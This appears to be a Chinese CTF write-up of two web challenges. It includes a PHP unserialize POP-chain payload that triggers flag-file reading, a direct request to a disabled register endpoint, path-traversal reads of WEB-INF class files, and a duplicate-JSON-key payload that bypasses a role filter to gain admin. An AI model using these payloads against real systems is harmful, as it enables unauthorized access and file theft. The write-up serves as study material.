1、UNSER的
<?php
highlight_file(__FILE__);
class Wel
{
public $fast;
public $star;
public function __construct()
{
$this->fast = "free_toto";
echo "what?";
}
public function __destruct()
{
$content = $this->star;
printf ($content);
}
public function CTF(){
echo "welcome!!!";
}
}
class Database
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database;
public $str;
public $challange;
public function __construct($database)
{
$this->database = $database;
}
public function __invoke()
{
function welcome(){
echo "do_it";
}
$this->str->open($this->database);
}
}
class Flag
{
public $file;
public $params;
public function __construct()
{
$this->file = array();
}
public function __toString()
{
return $this->getfunction();
}
public function getfunction()
{
$func = $this->params;
echo "you win??";
$func();
}
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file == "fl@g.php") {
$con = file_get_contents('/flag');
echo $con;
unlink($file);
}
}
}
$exp = $_GET['noway'];
unserialize($exp);
打开是一个序列化与反序列化的题目,首先分析一下代码

首先定义了Wel 这个类,并在其中定义了两个公共属性 $fast 和 $star。构造函数初始化 $fast 并输出 "what?"。析构函数在对象销毁时调用,它会打印 $star 的内容。CTF 方法输出 "welcome!!!"。

Database 类定义了一些数据库相关的属性和一个构造函数来初始化 $database 属性。__invoke 方法(当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用)定义了一个局部函数 welcome 并尝试调用 $this->str 对象的 open 方法

Flag 类包含两个公共属性 $file 和 $params。构造函数初始化 $file 为一个空数组。__toString 方法会返回 getfunction 方法的结果。getfunction 方法调用 $params 中保存的函数。

这段代码扫描当前目录的文件。如果存在名为 fl@g.php 的文件,读取 /flag 文件的内容并打印,然后删除 fl@g.php,然后从 GET 请求中获取 noway 参数的值,并将其反序列化为PHP对象
用到的魔术方法:
__construct(): 当一个对象创建时被调用
__destruct():销毁时触发
__invoke():当脚本尝试将对象调用为函数时触发
__toString():当对象被转换为字符串时自动调用
参考其他wp构造payload:
<?php
class Wel
{
public $fast;
public $star;
public function __construct()
{
$this->fast = "free_toto";
echo "what?";
}
}
class Database
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database;
public $str;
public $challange;
public function __construct($database)
{
$this->database = $database;
}
}
class Flag
{
public $file;
public $params;
public function __construct()
{
$this->file = array();
}
}
class SQLite3{
}
$A = new Wel();
$A ->star = new Flag();
$A ->star ->params = new Database("fl@g.php");
$A ->star ->params ->str = new SQLite3("fl@g.php");
echo serialize($A);
?>
-
类定义:
Wel类:- 包含两个属性:
fast和star。 - 构造函数初始化
fast属性,并输出字符串 "what?"。
- 包含两个属性:
Database类:- 包含多个属性:
hostname、dbuser、dbpass、database、str和challange。 - 构造函数初始化
database属性。
- 包含多个属性:
Flag类:- 包含两个属性:
file和params。 - 构造函数初始化
file属性为一个空数组。
- 包含两个属性:
SQLite3类:- 定义为空,没有任何属性或方法。
-
对象创建和属性赋值:
- 创建
Wel类的实例$A。 - 将
$A的star属性赋值为Flag类的实例。 - 将
Flag实例的params属性赋值为Database类的实例,参数为"fl@g.php"。 - 将
Database实例的str属性赋值为SQLite3类的实例,参数同样为"fl@g.php"。
- 创建
2、两步验证:

打开页面是一个登录框,首先想到的爆破,抓包尝试。

抓包后没有有用信息,尝试点击注册页面但是被禁止了,没有什么思路,参考一下大佬的wp。
题目界面为一登录框,发现 sign up 功能被禁用,但可以访问,先尝试抓包然后改包。这里涉及到功能重用漏洞。
功能重用(Function Reuse)漏洞:
功能重用(Function Reuse)漏洞是指攻击者利用某个功能在不同场景下的调用不当,导致原本受限制的操作被绕过。这类漏洞通常出现在一个功能在不同的上下文中被重复使用,但在不同上下文中没有进行适当的权限控制或参数验证。(即API接口或Web应用程序中的某个功能虽然在UI上被禁用或隐藏,但仍然可以通过直接发送请求来访问。)
通常出现在以下几种场景:
- 某个受限功能(如注册、文件上传、管理操作等)在不同的上下文中被调用,但没有进行适当的权限检查。
- 前端页面隐藏或禁用某些操作,但实际的 API 接口仍然可以被访问和利用。
所以此时可以直接通过bp抓包后直接向端点发送请求。

post请求中有一个login,因为刚刚尝试打开注册页面,功能被禁用但是可以打开,符合功能重用漏洞,应该抓包后直接将端口连接到注册功能,把方法改为register。

显示注册成功。将包重传后尝试登录。

登录后有四个跳转页面只有download部分可以打开,打开后抓包查看下载上传功能。

参考别的wp,这里的file=../../static/cat.gif提示了文件下载路径,想到任意文件读取,又因为这个题是java语言,所以需要学习一下java的war包结构。
任意文件读取:
漏洞是一种Web应用安全漏洞,允许攻击者读取服务器上任意文件的内容。此类漏洞通常是由于应用程序未能正确验证用户输入,导致文件路径或文件名可以由用户控制,从而读取任意文件。
任意文件读取的常见场景:
- 文件包含(File Inclusion):例如,在PHP应用中使用
include、require、file_get_contents等函数时,没有正确过滤用户输入,导致可以通过构造路径读取服务器上的任意文件。 - 文件下载功能:提供文件下载功能时,没有正确限制可下载文件的范围,导致攻击者可以下载任意文件。
- 日志查看功能:日志查看功能没有正确过滤用户输入,允许攻击者读取任意文件。
漏洞利用步骤:
- 找到注入点:找到可以控制文件路径的参数。
- 构造恶意输入:构造输入以读取敏感文件,如
/etc/passwd(Linux系统)或C:\Windows\System32\drivers\etc\hosts(Windows系统)。 - 发送请求并读取响应:发送恶意请求并读取响应中的文件内容。
一个典型的WAR包结构如下:
myapp.war
├── META-INF/
│ └── MANIFEST.MF
├── WEB-INF/
│ ├── classes/
│ │ └── com/
│ │ └── example/
│ │ └── MyServlet.class
│ ├── lib/
│ │ └── some-library.jar
│ ├── web.xml
├── index.html
└── styles.css
- META-INF/:包含包的元数据,如
MANIFEST.MF文件。 - WEB-INF/:包含Web应用程序的私有文件,这些文件不会直接暴露给用户。
- classes/:存放编译后的Java类文件(.class)。
- lib/:存放应用程序所需的JAR文件(库)。
- web.xml:Web应用程序的部署描述符,用于配置Servlet、过滤器等。
- 其他文件和目录:Web应用程序的公共资源,如HTML文件、CSS文件、JavaScript文件等。
查看web.xml,

定义了各种 Servlet 和 Filter 以及它们的 URL 映射。这段代码展示了多个 Servlet 的定义及其映射路径,以及一个 Filter 的定义和映射路径,把这几个类的代码都下载下来。
../../WEB-INF/classes/com/web/servlet/registerServlet.class

打开后是乱码,需要用到java反编译器,用jd-gui打开查看源码。

理解代码,大致意思就是实现用户的注册与登录。参考大佬的思路,这里的问题是出在上传文件这里,但是上传文件的权限需要admin,所以尝试从代码入手,更改权限。

发现权限的值在注册部分

-
正则表达式匹配
role字段:- 使用正则表达式
Pattern和Matcher来查找 JSON 数据中的"role":"..."部分。 matcher.find()会查找下一个匹配项,并将其赋值给role变量。
- 使用正则表达式
-
判断
role是否为空:StringUtils.isNullOrEmpty(role)判断role是否为空或者为null。- 如果
role不为空(用户试图指定role字段),则将其替换为"role":"guest",然后使用gson库将 JSON 数据反序列化为Person对象。
-
处理没有
role字段的情况:- 如果
role为空,则直接将 JSON 数据反序列化为Person对象,并手动设置role为guest。
- 如果
那么首要目标是绕过Role需要是admin的验证
在
registerServlet.class,会对注册时的post参数,即data={"username":"admin","password":"admin"}做
\"role\":\"(.*?)\"正则匹配,匹配到"role":"xxx"就会替换成"role":"guest",如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立
构造payload:
data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}
在while处匹配到"role":"test",匹配不到"role"/**/:"admin",进到if条件里,替换的是"role":"test",json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"

不知道怎么回事一直上传不成功,再去学习一下。



















